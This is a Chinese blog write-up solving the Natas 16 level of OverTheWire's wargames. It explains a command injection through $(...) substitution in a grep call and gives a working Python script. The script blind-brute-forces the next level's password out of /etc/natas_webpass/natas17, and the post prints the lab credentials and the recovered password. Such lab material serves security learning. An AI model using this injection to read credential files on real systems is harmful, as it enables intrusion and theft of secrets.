标题: [wargames] Natas 16 解答
分类: 安全测试
创建: 2022-12-04 15:22
修改:
链接: http://0x2531.tech/testing/202212041522.txt
--------------------------------------------------------------------------------
OverTheWire 设计了一系列 wargames,Natas 是其中之一,主要关注基本的服务端 Web 安全问题。
最近抽空玩了下,还挺有趣。
Natas 项目地址:https://overthewire.org/wargames/natas/
Natas 16 主要考察代码审计方面的能力,具体知识点是如何在双引号内执行 shell 命令及基于页面回显
的盲注。
主要的后端代码如下:
==========
For security reasons, we now filter even more on certain characters
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
==========
使用了 passthru 函数执行 grep 查找命令,但对输入 needle 做了正则检测,[;|&`'"] 这几个字符
不被允许。同时,使用双引号包裹输入。
由于双引号和连接多条命令的字符都会被拦截,所以需要思考在双引号内部执行命令且能根据变化获取不同回
显的方法。
这里使用 $(cmd) 语法,其在双引号内部也能成功执行。如:
$ echo "$(date)"
2022年12月 4日 星期日 16时09分36秒 CST
接下来,通过 grep 命令暴力破解出文件 /etc/natas_webpass/natas17(存储了 natas17 的密码
)中包含的字符。由前面关卡可知,密码长度为32字节、包含的字符范围为:[0-9a-zA-Z]。
解释下原理。首先,找到 dictionary.txt 文件中包含的某个词,如:hacking。然后通过输入框提交
:hacking$(grep a /etc/natas_webpass/natas17),最终执行的命令则是:grep -i
"hacking$(grep a /etc/natas_webpass/natas17)" dictionary.txt,如果页面没有回显
hacking,表明密码包含字符 a,反之则不包含。使用这种方法,就能很快的获取到密码由哪些字符组成。
知道了密码由哪些字符组成,接下来就是组合这些字符。思路还是暴力破解,还是使用 grep 命令,不同的
是这次执行前缀匹配(^)。通过这种方式,获取到 natas 17 的密码。
下面是使用 Python 的一种实现:
==========
import string
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')
passwd = ''
includechars = ''
chars = string.digits + string.ascii_letters
for char in chars:
r = requests.get('http://natas16.natas.labs.overthewire.org/
?needle=hacking$(grep ' + char + ' /etc/natas_webpass/natas17)',
auth=auth)
if 'hacking' not in r.text:
includechars += char
#print(includechars)
for _ in range(32):
for char in includechars:
r = requests.get('http://natas16.natas.labs.overthewire.org/
?needle=hacking$(grep ^' + passwd + char + ' /etc/natas_webpass/
natas17)', auth=auth)
if 'hacking' not in r.text:
passwd += char
print(passwd)
break
==========
X
Xk
XkE
XkEu
XkEuC
XkEuCh
XkEuChE
XkEuChE0
XkEuChE0S
XkEuChE0Sb
XkEuChE0Sbn
XkEuChE0SbnK
XkEuChE0SbnKB
XkEuChE0SbnKBv
XkEuChE0SbnKBvH
XkEuChE0SbnKBvH1
XkEuChE0SbnKBvH1R
XkEuChE0SbnKBvH1RU
XkEuChE0SbnKBvH1RU7
XkEuChE0SbnKBvH1RU7k
XkEuChE0SbnKBvH1RU7ks
XkEuChE0SbnKBvH1RU7ksI
XkEuChE0SbnKBvH1RU7ksIb
XkEuChE0SbnKBvH1RU7ksIb9
XkEuChE0SbnKBvH1RU7ksIb9u
XkEuChE0SbnKBvH1RU7ksIb9uu
XkEuChE0SbnKBvH1RU7ksIb9uuL
XkEuChE0SbnKBvH1RU7ksIb9uuLm
XkEuChE0SbnKBvH1RU7ksIb9uuLmI
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7s
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
最终,得到 natas17 的密码为:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd。